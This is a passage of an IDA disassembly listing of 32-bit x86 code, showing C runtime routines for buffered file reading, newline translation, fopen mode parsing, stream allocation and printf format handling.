loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DC5C0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43C950
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DC6C0
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DC5C0h[eax*4]
mov eax, dword_4DC5C0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_41F1E4
call near ptr 2670D70h
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB278, 9
mov dword_4DB27C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_41F285
call near ptr 2670D70h
nop
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB2F8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DB464
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DB460
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DC5A0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DB598
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DB598
mov [edi+ecx], eax
mov eax, dword_4DB598
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C2F8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C2F8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43CA08
jz short loc_41F5EA
cmp esi, offset dword_43CA28
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43C950
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+42773Ch]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_42775C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
